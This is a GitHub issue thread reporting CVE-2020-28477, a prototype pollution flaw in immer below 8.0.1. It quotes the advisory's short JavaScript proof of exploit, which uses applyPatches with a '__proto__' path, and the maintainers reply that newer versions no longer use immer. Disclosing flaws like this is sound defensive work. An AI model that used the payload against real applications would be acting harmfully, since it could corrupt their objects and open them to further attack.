Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

High-severity vulnerability in dependent package #1087

Closed
meatflavourdev opened this issue Apr 12, 2021 · 3 comments
Closed

High-severity vulnerability in dependent package #1087

meatflavourdev opened this issue Apr 12, 2021 · 3 comments

Comments

@meatflavourdev
Copy link

meatflavourdev commented Apr 12, 2021

GitHub Advisory Database / CVE-2020-28477

Prototype Pollution in immer

high severity

Package Affected versions Patched versions
immer (npm) < 8.0.1 8.0.1

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

References

@meatflavourdev
Copy link
Author

Updating the Immer package past 8.0.1 is advised for security -- it looks like this can be accomplished by updating the easy-peasy dependency.

@moklick
Copy link
Member

moklick commented Apr 12, 2021

Hey! Since v9 we no longer use easy-peasy (and immer) anymore.

@meatflavourdev
Copy link
Author

Riiiight i just saw that-- tis me who needs to update!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants